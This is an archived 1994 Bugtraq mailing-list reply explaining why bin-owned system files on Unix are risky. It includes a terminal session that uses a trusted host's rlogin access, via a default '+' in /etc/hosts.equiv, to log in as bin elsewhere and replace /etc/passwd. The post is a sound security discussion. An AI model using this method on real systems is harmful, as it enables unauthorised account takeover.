OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
Bugtraq archives for 2nd quarter (Apr-Jun) 1994: Re: bin ownership problem

Re: bin ownership problem

George Hodson (georgesiltrain.demon.co.uk)
Thu, 19 May 94 13:36:37 BST 

> >Ok, I'll expose my ignorance and ask, what is the specific vulnerability
> >of bin owned files?  I understand how it is a problem on NFS exported
> >files to insecure hosts, but what is the risk for files/dirs on a locally
> >non-exported file system?  What about groups, is bin a bad group also?
> >
> >
> 
> The main problem I've ever had with bin owning system files and other
> user id's owning things as well (daemon, gmaes, etc) is that it's just that
> much more to watch for. With root owning all the important stuff
> it centers your attention on that userid and prevention with just one
> userid.
> 

Also, another (similar) problem is when a host is trusted (recall
/etc/hosts.equiv comes with a default "+" on some systems).

trusted# su - bin
trusted# rlogin gotcha
gotcha$ who am i
gotcha!bin     ttyp3   May 17 08:54
gotcha$ ls -lgd /etc
drwxr-sr-x  9 bin      staff        2048 May 19 07:08 /etc
gotcha$ cd /etc;mv passwd passwd.bak
gotcha$ vi passwd    #read in passswd.old, make changes etc...

bad news!

George